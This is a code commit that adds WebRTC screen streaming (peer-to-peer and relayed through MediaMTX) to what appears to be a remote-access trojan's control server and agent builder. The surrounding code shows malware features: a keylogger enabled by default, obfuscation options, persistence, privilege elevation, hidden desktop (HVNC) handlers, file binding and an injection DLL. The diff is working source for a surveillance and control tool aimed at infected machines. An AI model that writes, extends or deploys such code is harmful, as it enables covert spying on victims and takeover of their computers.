WebRTC
This commit is contained in:
@@ -126,6 +126,7 @@ function collectFormSettings() {
|
||||
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
|
||||
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
||||
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
||||
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
||||
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
||||
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
|
||||
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
|
||||
@@ -180,6 +181,7 @@ function applyFormSettings(settings) {
|
||||
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
|
||||
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
||||
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
||||
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
||||
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
||||
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
|
||||
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
|
||||
@@ -1379,6 +1381,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
hideConsole,
|
||||
noPrinting,
|
||||
disableKeylogger: !enableKeylogger,
|
||||
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
|
||||
outputName: outputNameVal || undefined,
|
||||
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
||||
garbleTiny: obfuscate ? garbleTiny : undefined,
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
import { checkFeatureAccess } from "./feature-gate.js";
|
||||
import { WhepClient } from "./whep.js";
|
||||
import { P2PClient } from "./webrtc-p2p.js";
|
||||
|
||||
(async function () {
|
||||
const clientId = new URLSearchParams(location.search).get("clientId");
|
||||
@@ -46,6 +48,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||
const audioCtrl = document.getElementById("audioCtrl");
|
||||
const webrtcMode = document.getElementById("webrtcMode");
|
||||
const webrtcVideo = document.getElementById("webrtcVideo");
|
||||
let whepClient = null;
|
||||
let p2pClient = null;
|
||||
let webrtcActive = false;
|
||||
function getWebrtcMode() {
|
||||
return webrtcMode ? String(webrtcMode.value || "off") : "off";
|
||||
}
|
||||
ws.binaryType = "arraybuffer";
|
||||
|
||||
let activeClientId = clientId;
|
||||
@@ -561,6 +571,113 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
ws.send(encodeMsgpack(msg));
|
||||
}
|
||||
|
||||
function setWebrtcViewActive(active) {
|
||||
webrtcActive = !!active;
|
||||
if (canvas) canvas.style.display = active ? "none" : "block";
|
||||
if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none";
|
||||
}
|
||||
|
||||
function onWebrtcState(label, s) {
|
||||
console.debug(`webrtc[${label}]: state`, s);
|
||||
if (s === "connected") {
|
||||
setStreamState("streaming", `Streaming (${label})`);
|
||||
} else if (s === "failed" || s === "disconnected") {
|
||||
setWebrtcViewActive(false);
|
||||
}
|
||||
}
|
||||
|
||||
// The canvas path counts WS frames via markFrameReceived + updateFpsDisplay.
|
||||
// WebRTC bypasses WS entirely, so we tap the <video>'s rendered-frame callback
|
||||
// (Chrome/Edge/Firefox 132+) to feed the same counters — otherwise the
|
||||
// frame watcher flips to "No frames" and FPS sticks at --.
|
||||
let webrtcRvfcHandle = 0;
|
||||
let webrtcFpsCount = 0;
|
||||
let webrtcFpsWindowStart = 0;
|
||||
function startWebrtcFrameTicker() {
|
||||
if (!webrtcVideo || typeof webrtcVideo.requestVideoFrameCallback !== "function") return;
|
||||
stopWebrtcFrameTicker();
|
||||
webrtcFpsCount = 0;
|
||||
webrtcFpsWindowStart = performance.now();
|
||||
const tick = (now) => {
|
||||
markFrameReceived();
|
||||
webrtcFpsCount += 1;
|
||||
const elapsed = now - webrtcFpsWindowStart;
|
||||
if (elapsed >= 1000) {
|
||||
const fps = Math.round((webrtcFpsCount * 1000) / elapsed);
|
||||
// Agent and viewer FPS are effectively equal in WebRTC mode — the
|
||||
// browser renders every frame the agent sends, no decode skipping.
|
||||
updateFpsDisplay(fps);
|
||||
webrtcFpsCount = 0;
|
||||
webrtcFpsWindowStart = now;
|
||||
} else {
|
||||
updateFpsDisplay();
|
||||
}
|
||||
webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
|
||||
};
|
||||
webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
|
||||
}
|
||||
function stopWebrtcFrameTicker() {
|
||||
if (webrtcRvfcHandle && webrtcVideo && typeof webrtcVideo.cancelVideoFrameCallback === "function") {
|
||||
webrtcVideo.cancelVideoFrameCallback(webrtcRvfcHandle);
|
||||
}
|
||||
webrtcRvfcHandle = 0;
|
||||
}
|
||||
|
||||
async function startWhep(whepPath) {
|
||||
await stopAllWebrtc();
|
||||
if (!webrtcVideo) return;
|
||||
whepClient = new WhepClient({
|
||||
whepPath,
|
||||
videoEl: webrtcVideo,
|
||||
onState: (s) => onWebrtcState("WebRTC Relayed", s),
|
||||
});
|
||||
try {
|
||||
await whepClient.start();
|
||||
setWebrtcViewActive(true);
|
||||
startWebrtcFrameTicker();
|
||||
} catch (err) {
|
||||
console.warn("webrtc: WHEP start failed, falling back to canvas", err);
|
||||
setWebrtcViewActive(false);
|
||||
whepClient = null;
|
||||
}
|
||||
}
|
||||
|
||||
async function startP2P() {
|
||||
await stopAllWebrtc();
|
||||
if (!webrtcVideo) return;
|
||||
p2pClient = new P2PClient({
|
||||
videoEl: webrtcVideo,
|
||||
send: (msg) => {
|
||||
if (ws.readyState === WebSocket.OPEN) {
|
||||
ws.send(encodeMsgpack(msg));
|
||||
}
|
||||
},
|
||||
onState: (s) => onWebrtcState("WebRTC P2P", s),
|
||||
});
|
||||
try {
|
||||
await p2pClient.start();
|
||||
setWebrtcViewActive(true);
|
||||
startWebrtcFrameTicker();
|
||||
} catch (err) {
|
||||
console.warn("webrtc: P2P start failed, falling back to canvas", err);
|
||||
setWebrtcViewActive(false);
|
||||
const c = p2pClient;
|
||||
p2pClient = null;
|
||||
if (c) { try { await c.stop(); } catch {} }
|
||||
}
|
||||
}
|
||||
|
||||
async function stopAllWebrtc() {
|
||||
stopWebrtcFrameTicker();
|
||||
setWebrtcViewActive(false);
|
||||
const w = whepClient;
|
||||
whepClient = null;
|
||||
if (w) { try { await w.stop(); } catch {} }
|
||||
const p = p2pClient;
|
||||
p2pClient = null;
|
||||
if (p) { try { await p.stop(); } catch {} }
|
||||
}
|
||||
|
||||
let monitors = 1;
|
||||
|
||||
function populateDisplays(count, monitorInfo) {
|
||||
@@ -679,13 +796,24 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
lastFrameAt = 0;
|
||||
resetH264SessionState();
|
||||
setStreamState("starting", "Starting stream");
|
||||
sendCmd("desktop_start", {});
|
||||
const mode = getWebrtcMode();
|
||||
if (mode === "relayed") {
|
||||
// Server replies with `webrtc_ready { whepPath }`; startWhep happens then.
|
||||
sendCmd("desktop_start", { webrtc: true });
|
||||
} else if (mode === "p2p") {
|
||||
// Kick off the P2P offer asynchronously; capture starts in parallel.
|
||||
sendCmd("desktop_start", {});
|
||||
startP2P();
|
||||
} else {
|
||||
sendCmd("desktop_start", {});
|
||||
}
|
||||
});
|
||||
stopBtn.addEventListener("click", function () {
|
||||
desiredStreaming = false;
|
||||
setStreamState("stopping", "Stopping stream");
|
||||
sendCmd("desktop_stop", {});
|
||||
disconnectAudio();
|
||||
stopAllWebrtc();
|
||||
});
|
||||
fullscreenBtn.addEventListener("click", function () {
|
||||
if (canvasContainer.requestFullscreen) {
|
||||
@@ -1154,6 +1282,18 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
|
||||
startWhep(msg.whepPath);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
|
||||
if (p2pClient) p2pClient.onAnswer(msg.sdp);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "webrtc_p2p_ice") {
|
||||
if (p2pClient) p2pClient.onRemoteCandidate(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "input_latency") {
|
||||
updateLatency(Number(msg.ms) || 0);
|
||||
return;
|
||||
@@ -1208,11 +1348,13 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
desiredStreaming = false;
|
||||
disconnectAudio();
|
||||
destroyVideoDecoder();
|
||||
stopAllWebrtc();
|
||||
setStreamState("disconnected", "Disconnected");
|
||||
});
|
||||
|
||||
ws.addEventListener("error", function () {
|
||||
destroyVideoDecoder();
|
||||
stopAllWebrtc();
|
||||
setStreamState("error", "WebSocket error");
|
||||
});
|
||||
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
// Browser ↔ agent direct WebRTC peer client.
|
||||
//
|
||||
// Signaling is multiplexed onto the existing Remote Desktop WS:
|
||||
// browser → server: { type: "webrtc_p2p_offer", sdp }
|
||||
// { type: "webrtc_p2p_ice", candidate, sdpMid, sdpMLineIndex }
|
||||
// { type: "webrtc_p2p_stop" }
|
||||
// server → browser: { type: "webrtc_p2p_answer", sdp }
|
||||
// { type: "webrtc_p2p_ice", ... }
|
||||
//
|
||||
// The server proxies these to the agent via its existing WS command channel
|
||||
// (sessionId is server-side state, not visible to the browser).
|
||||
//
|
||||
// Once SDP + ICE settle, the <video> element receives frames directly from
|
||||
// the agent — MediaMTX is not involved.
|
||||
|
||||
export class P2PClient {
|
||||
/**
|
||||
* @param {object} opts
|
||||
* @param {HTMLVideoElement} opts.videoEl
|
||||
* @param {(msg: object) => void} opts.send Send a JSON-encodable msg over the RD WS.
|
||||
* @param {(state: string) => void} [opts.onState]
|
||||
* @param {string[]} [opts.iceServers] STUN URLs. Default: Google public STUN.
|
||||
*/
|
||||
constructor(opts) {
|
||||
this.videoEl = opts.videoEl;
|
||||
this.send = opts.send;
|
||||
this.onState = opts.onState || (() => {});
|
||||
this.iceServers = opts.iceServers || ["stun:stun.l.google.com:19302"];
|
||||
this.pc = null;
|
||||
this.pendingRemoteCandidates = [];
|
||||
}
|
||||
|
||||
async start() {
|
||||
if (this.pc) await this.stop();
|
||||
|
||||
const pc = new RTCPeerConnection({
|
||||
iceServers: this.iceServers.map((u) => ({ urls: u })),
|
||||
});
|
||||
this.pc = pc;
|
||||
|
||||
pc.addTransceiver("video", { direction: "recvonly" });
|
||||
|
||||
pc.ontrack = (ev) => {
|
||||
if (ev.track.kind !== "video") return;
|
||||
const stream = ev.streams[0] || new MediaStream([ev.track]);
|
||||
this.videoEl.srcObject = stream;
|
||||
this.videoEl.play().catch(() => {});
|
||||
};
|
||||
pc.onicecandidate = (ev) => {
|
||||
// Trickle ICE: empty candidate signals end-of-gathering — we don't
|
||||
// forward it (Pion infers it on its own).
|
||||
if (!ev.candidate || !ev.candidate.candidate) return;
|
||||
this.send({
|
||||
type: "webrtc_p2p_ice",
|
||||
candidate: ev.candidate.candidate,
|
||||
sdpMid: ev.candidate.sdpMid || "",
|
||||
sdpMLineIndex: ev.candidate.sdpMLineIndex || 0,
|
||||
});
|
||||
};
|
||||
pc.onconnectionstatechange = () => {
|
||||
this.onState(pc.connectionState);
|
||||
};
|
||||
|
||||
const offer = await pc.createOffer();
|
||||
await pc.setLocalDescription(offer);
|
||||
this.send({ type: "webrtc_p2p_offer", sdp: pc.localDescription.sdp });
|
||||
}
|
||||
|
||||
/** Handle an SDP answer relayed from the agent. */
|
||||
async onAnswer(sdp) {
|
||||
if (!this.pc || !sdp) return;
|
||||
await this.pc.setRemoteDescription({ type: "answer", sdp });
|
||||
// Drain any ICE candidates that arrived before the answer.
|
||||
const drain = this.pendingRemoteCandidates;
|
||||
this.pendingRemoteCandidates = [];
|
||||
for (const c of drain) {
|
||||
try { await this.pc.addIceCandidate(c); } catch (e) { console.warn("p2p: queued ice add failed", e); }
|
||||
}
|
||||
}
|
||||
|
||||
/** Add a remote ICE candidate from the agent. */
|
||||
async onRemoteCandidate(msg) {
|
||||
if (!this.pc) return;
|
||||
if (!msg || typeof msg.candidate !== "string" || !msg.candidate) return;
|
||||
const init = {
|
||||
candidate: msg.candidate,
|
||||
sdpMid: typeof msg.sdpMid === "string" ? msg.sdpMid : null,
|
||||
sdpMLineIndex: Number.isInteger(msg.sdpMLineIndex) ? msg.sdpMLineIndex : null,
|
||||
};
|
||||
// If remote description hasn't been set yet, queue.
|
||||
if (!this.pc.remoteDescription) {
|
||||
this.pendingRemoteCandidates.push(init);
|
||||
return;
|
||||
}
|
||||
try { await this.pc.addIceCandidate(init); } catch (e) { console.warn("p2p: ice add failed", e); }
|
||||
}
|
||||
|
||||
async stop() {
|
||||
const pc = this.pc;
|
||||
this.pc = null;
|
||||
this.pendingRemoteCandidates = [];
|
||||
if (pc) {
|
||||
try { pc.close(); } catch {}
|
||||
}
|
||||
try { this.send({ type: "webrtc_p2p_stop" }); } catch {}
|
||||
if (this.videoEl) this.videoEl.srcObject = null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
// Tiny WHEP (WebRTC-HTTP Egress Protocol) client.
|
||||
//
|
||||
// Wires a <video> element to a server-proxied WHEP endpoint:
|
||||
// 1. Create a recvonly video PeerConnection.
|
||||
// 2. POST our SDP offer to whepPath, parse the SDP answer.
|
||||
// 3. ontrack → attach MediaStream to the <video>.
|
||||
//
|
||||
// The Bun server proxies all signaling to MediaMTX, so this fetch inherits the
|
||||
// existing JWT cookie. ICE/DTLS go straight to MediaMTX over UDP.
|
||||
|
||||
export class WhepClient {
|
||||
/**
|
||||
* @param {object} opts
|
||||
* @param {string} opts.whepPath Path under the same origin, e.g. "/api/webrtc/agents/abc/whep"
|
||||
* @param {HTMLVideoElement} opts.videoEl
|
||||
* @param {(state: string) => void} [opts.onState]
|
||||
*/
|
||||
constructor(opts) {
|
||||
this.whepPath = opts.whepPath;
|
||||
this.videoEl = opts.videoEl;
|
||||
this.onState = opts.onState || (() => {});
|
||||
this.pc = null;
|
||||
this.resourceURL = "";
|
||||
}
|
||||
|
||||
async start() {
|
||||
if (this.pc) await this.stop();
|
||||
|
||||
const pc = new RTCPeerConnection({});
|
||||
this.pc = pc;
|
||||
pc.addTransceiver("video", { direction: "recvonly" });
|
||||
|
||||
pc.ontrack = (ev) => {
|
||||
if (ev.track.kind !== "video") return;
|
||||
const stream = ev.streams[0] || new MediaStream([ev.track]);
|
||||
this.videoEl.srcObject = stream;
|
||||
this.videoEl.play().catch(() => {});
|
||||
};
|
||||
pc.onconnectionstatechange = () => {
|
||||
this.onState(pc.connectionState);
|
||||
};
|
||||
|
||||
const offer = await pc.createOffer();
|
||||
await pc.setLocalDescription(offer);
|
||||
await waitIceComplete(pc, 5000);
|
||||
|
||||
// The agent's WHIP publish and the operator's WHEP play start in parallel
|
||||
// when "Start" is clicked. If the operator's WHEP arrives at MediaMTX
|
||||
// before the agent's publish finishes setting up, MediaMTX returns 404
|
||||
// "no stream is available on path ...". Retry briefly to absorb that
|
||||
// race instead of immediately failing back to canvas.
|
||||
const resp = await fetchWithRetry(this.whepPath, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/sdp" },
|
||||
credentials: "include",
|
||||
body: pc.localDescription.sdp,
|
||||
});
|
||||
if (!resp.ok) {
|
||||
const text = await resp.text().catch(() => "");
|
||||
throw new Error(`WHEP ${resp.status}: ${text || resp.statusText}`);
|
||||
}
|
||||
this.resourceURL = resp.headers.get("Location") || "";
|
||||
const answerSDP = await resp.text();
|
||||
await pc.setRemoteDescription({ type: "answer", sdp: answerSDP });
|
||||
}
|
||||
|
||||
async stop() {
|
||||
const pc = this.pc;
|
||||
const url = this.resourceURL;
|
||||
this.pc = null;
|
||||
this.resourceURL = "";
|
||||
if (url) {
|
||||
try {
|
||||
await fetch(url, { method: "DELETE", credentials: "include" });
|
||||
} catch {}
|
||||
}
|
||||
if (pc) {
|
||||
try { pc.close(); } catch {}
|
||||
}
|
||||
if (this.videoEl) {
|
||||
this.videoEl.srcObject = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function fetchWithRetry(url, init, { attempts = 12, delayMs = 400 } = {}) {
|
||||
let last;
|
||||
for (let i = 0; i < attempts; i++) {
|
||||
last = await fetch(url, init);
|
||||
// Only retry the specific "publisher not yet ready" 404 from MediaMTX.
|
||||
// Anything else (auth, network) should fail fast.
|
||||
if (last.status !== 404) return last;
|
||||
const text = await last.clone().text().catch(() => "");
|
||||
if (!/no stream is available/i.test(text)) return last;
|
||||
await new Promise((r) => setTimeout(r, delayMs));
|
||||
}
|
||||
return last;
|
||||
}
|
||||
|
||||
function waitIceComplete(pc, timeoutMs) {
|
||||
return new Promise((resolve) => {
|
||||
if (pc.iceGatheringState === "complete") return resolve();
|
||||
let done = false;
|
||||
const finish = () => {
|
||||
if (done) return;
|
||||
done = true;
|
||||
pc.removeEventListener("icegatheringstatechange", check);
|
||||
resolve();
|
||||
};
|
||||
const check = () => {
|
||||
if (pc.iceGatheringState === "complete") finish();
|
||||
};
|
||||
pc.addEventListener("icegatheringstatechange", check);
|
||||
setTimeout(finish, timeoutMs);
|
||||
});
|
||||
}
|
||||
@@ -390,6 +390,16 @@
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
|
||||
<input type="checkbox" name="enable-webrtc" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-tower-broadcast text-amber-400"></i> WebRTC
|
||||
</span>
|
||||
<span class="text-xs text-slate-500">Compile Pion into the agent for WebRTC streaming (P2P + relayed). Adds ~6 MB to the binary; leave off if not needed.</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -75,6 +75,14 @@
|
||||
<input type="checkbox" id="codecH264" checked /> H.264
|
||||
</label>
|
||||
<span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
|
||||
<label class="flex items-center gap-2 text-slate-200" title="Streaming transport. P2P: browser ↔ agent direct, server only relays signaling. Relayed: through MediaMTX (works behind tougher NATs).">
|
||||
<span class="text-slate-200">Transport</span>
|
||||
<select id="webrtcMode" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
|
||||
<option value="off" selected>Canvas</option>
|
||||
<option value="p2p">WebRTC P2P</option>
|
||||
<option value="relayed">WebRTC Relayed</option>
|
||||
</select>
|
||||
</label>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<button id="startBtn" class="button primary">
|
||||
@@ -170,6 +178,20 @@
|
||||
height: auto;
|
||||
"
|
||||
></canvas>
|
||||
<video
|
||||
id="webrtcVideo"
|
||||
class="bg-slate-950"
|
||||
autoplay
|
||||
playsinline
|
||||
muted
|
||||
style="
|
||||
display: none;
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
width: auto;
|
||||
height: auto;
|
||||
"
|
||||
></video>
|
||||
</div>
|
||||
</div>
|
||||
<style>
|
||||
|
||||
@@ -37,6 +37,7 @@ import { handleFileShareRoutes } from "./server/routes/file-share-routes";
|
||||
import { handleUsersRoutes } from "./server/routes/users-routes";
|
||||
import { handleWebSocketClose, handleWebSocketMessage, handleWebSocketOpen } from "./server/routes/websocket-lifecycle-routes";
|
||||
import { handleWsUpgradeRoutes } from "./server/routes/ws-upgrade-routes";
|
||||
import { handleWebrtcRoutes } from "./server/routes/webrtc-routes";
|
||||
import { isAuthorizedAgentRequest } from "./server/agent-auth";
|
||||
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
|
||||
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
|
||||
@@ -95,6 +96,9 @@ import {
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
cleanupRdViewerP2P,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
@@ -674,6 +678,9 @@ async function startServer() {
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
cleanupRdViewerP2P,
|
||||
cleanupVoiceViewer,
|
||||
cleanupDesktopAudioViewer,
|
||||
stopConsoleOnTarget,
|
||||
@@ -718,6 +725,7 @@ async function startServer() {
|
||||
(req, url) => handleMiscRoutes(req, url, routeDeps.misc),
|
||||
(req, url) => handleAssetsRoutes(req, url, routeDeps.assets),
|
||||
(req, url) => handlePageRoutes(req, url, routeDeps.page),
|
||||
(req, url) => handleWebrtcRoutes(req, url),
|
||||
(req, url, srv) => handleClientRoutes(req, url, srv as any, routeDeps.client),
|
||||
(req, url, srv) => handleWsUpgradeRoutes(req, url, srv as any, routeDeps.wsUpgrade),
|
||||
],
|
||||
|
||||
@@ -107,6 +107,11 @@ export type CommandType =
|
||||
| "desktop_select_display"
|
||||
| "desktop_enable_mouse"
|
||||
| "desktop_enable_keyboard"
|
||||
| "webrtc_publish"
|
||||
| "webrtc_stop"
|
||||
| "webrtc_p2p_offer"
|
||||
| "webrtc_p2p_ice"
|
||||
| "webrtc_p2p_stop"
|
||||
| "script_exec"
|
||||
| "uninstall"
|
||||
| "elevate"
|
||||
|
||||
@@ -85,6 +85,7 @@ type BuildProcessConfig = {
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
disableKeylogger?: boolean;
|
||||
enableWebrtc?: boolean;
|
||||
builtByUserId?: number;
|
||||
outputName?: string;
|
||||
garbleLiterals?: boolean;
|
||||
@@ -870,6 +871,7 @@ func runBoundFiles() {
|
||||
const buildTags: string[] = [];
|
||||
if (config.noPrinting) buildTags.push("noprint");
|
||||
if (config.disableKeylogger) buildTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) buildTags.push("overlord_webrtc");
|
||||
if (hasBoundFiles) buildTags.push("hasbinder");
|
||||
if (config.enablePersistence && os === "windows") {
|
||||
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
|
||||
|
||||
@@ -107,6 +107,7 @@ export async function handleBuildRoutes(
|
||||
requireAdmin,
|
||||
criticalProcess,
|
||||
disableKeylogger,
|
||||
enableWebrtc,
|
||||
outputExtension,
|
||||
sleepSeconds,
|
||||
boundFiles,
|
||||
@@ -374,6 +375,7 @@ export async function handleBuildRoutes(
|
||||
requireAdmin: safeRequireAdmin,
|
||||
criticalProcess: safeCriticalProcess,
|
||||
disableKeylogger: !!disableKeylogger,
|
||||
enableWebrtc: !!enableWebrtc,
|
||||
outputExtension: safeOutputExtension,
|
||||
sleepSeconds: safeSleepSeconds,
|
||||
boundFiles: safeBoundFiles,
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
import { randomBytes } from "node:crypto";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { canUserAccessClient } from "../../users";
|
||||
import { logger } from "../../logger";
|
||||
|
||||
const MEDIAMTX_URL = (process.env.OVERLORD_MEDIAMTX_URL || "http://localhost:8889").replace(/\/+$/, "");
|
||||
|
||||
|
||||
const PUBLISH_TOKEN_TTL_MS = 60_000;
|
||||
|
||||
type PublishToken = { clientId: string; expiresAt: number };
|
||||
const publishTokens = new Map<string, PublishToken>();
|
||||
|
||||
function prunePublishTokens(now = Date.now()) {
|
||||
for (const [t, entry] of publishTokens) {
|
||||
if (entry.expiresAt < now) publishTokens.delete(t);
|
||||
}
|
||||
}
|
||||
|
||||
export function issueWebrtcPublishToken(clientId: string): string {
|
||||
prunePublishTokens();
|
||||
const token = randomBytes(24).toString("base64url");
|
||||
publishTokens.set(token, { clientId, expiresAt: Date.now() + PUBLISH_TOKEN_TTL_MS });
|
||||
return token;
|
||||
}
|
||||
|
||||
export function webrtcStreamPathFor(clientId: string): string {
|
||||
return `agents/${clientId}`;
|
||||
}
|
||||
|
||||
export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/webrtc/")) return null;
|
||||
|
||||
const rest = url.pathname.slice("/api/webrtc/".length);
|
||||
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+)\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||
if (!match) return new Response("Not Found", { status: 404 });
|
||||
|
||||
const [, streamPath, kind, sessionSuffix] = match;
|
||||
const clientId = streamPath.split("/")[1];
|
||||
|
||||
if (kind === "whip") {
|
||||
const authHeader = req.headers.get("authorization") || "";
|
||||
const m = authHeader.match(/^Bearer\s+(.+)$/i);
|
||||
const token = m?.[1] || "";
|
||||
const entry = publishTokens.get(token);
|
||||
if (!entry || entry.clientId !== clientId || entry.expiresAt < Date.now()) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (req.method === "DELETE") {
|
||||
publishTokens.delete(token);
|
||||
} else {
|
||||
entry.expiresAt = Date.now() + PUBLISH_TOKEN_TTL_MS;
|
||||
}
|
||||
} else {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
}
|
||||
|
||||
const upstreamUrl = `${MEDIAMTX_URL}/${streamPath}/${kind}${sessionSuffix || ""}`;
|
||||
const upstreamHeaders = new Headers();
|
||||
for (const [k, v] of req.headers) {
|
||||
const lower = k.toLowerCase();
|
||||
if (lower === "host" || lower === "authorization" || lower === "cookie") continue;
|
||||
upstreamHeaders.set(k, v);
|
||||
}
|
||||
|
||||
let body: ArrayBuffer | undefined;
|
||||
if (req.method !== "GET" && req.method !== "HEAD" && req.method !== "DELETE") {
|
||||
body = await req.arrayBuffer();
|
||||
}
|
||||
|
||||
let upstreamResp: Response;
|
||||
try {
|
||||
upstreamResp = await fetch(upstreamUrl, {
|
||||
method: req.method,
|
||||
headers: upstreamHeaders,
|
||||
body,
|
||||
});
|
||||
} catch (err) {
|
||||
logger.warn(`[webrtc] upstream fetch failed (${upstreamUrl}): ${(err as Error).message}`);
|
||||
return new Response("Bad Gateway", { status: 502 });
|
||||
}
|
||||
|
||||
const respHeaders = new Headers(upstreamResp.headers);
|
||||
const loc = respHeaders.get("location");
|
||||
if (loc) {
|
||||
try {
|
||||
const abs = new URL(loc, MEDIAMTX_URL);
|
||||
respHeaders.set("location", `/api/webrtc${abs.pathname}`);
|
||||
} catch { }
|
||||
}
|
||||
|
||||
return new Response(upstreamResp.body, {
|
||||
status: upstreamResp.status,
|
||||
statusText: upstreamResp.statusText,
|
||||
headers: respHeaders,
|
||||
});
|
||||
}
|
||||
@@ -157,6 +157,9 @@ type WsLifecycleDeps = {
|
||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||
cleanupRdViewerP2P: (ws: ServerWebSocket<SocketData>) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
@@ -723,6 +726,12 @@ export async function handleWebSocketMessage(
|
||||
case "clipboard_content":
|
||||
deps.handleClipboardContent(client.id, payload);
|
||||
break;
|
||||
case "webrtc_p2p_answer":
|
||||
deps.handleWebrtcP2PAnswer(client.id, payload);
|
||||
break;
|
||||
case "webrtc_p2p_ice":
|
||||
deps.handleWebrtcP2PIce(client.id, payload);
|
||||
break;
|
||||
case "proxy_data": {
|
||||
const connId = (payload as any).connectionId;
|
||||
const tunnelData = (payload as any).data;
|
||||
@@ -779,6 +788,7 @@ export function handleWebSocketClose(
|
||||
}
|
||||
|
||||
if (role === "rd_viewer") {
|
||||
deps.cleanupRdViewerP2P(ws);
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
|
||||
@@ -12,6 +12,7 @@ import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
import { canUserAccessClient } from "../users";
|
||||
import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes";
|
||||
|
||||
let _cachedInjectionDll: Uint8Array | null = null;
|
||||
let _dllCachePath: string | null = null;
|
||||
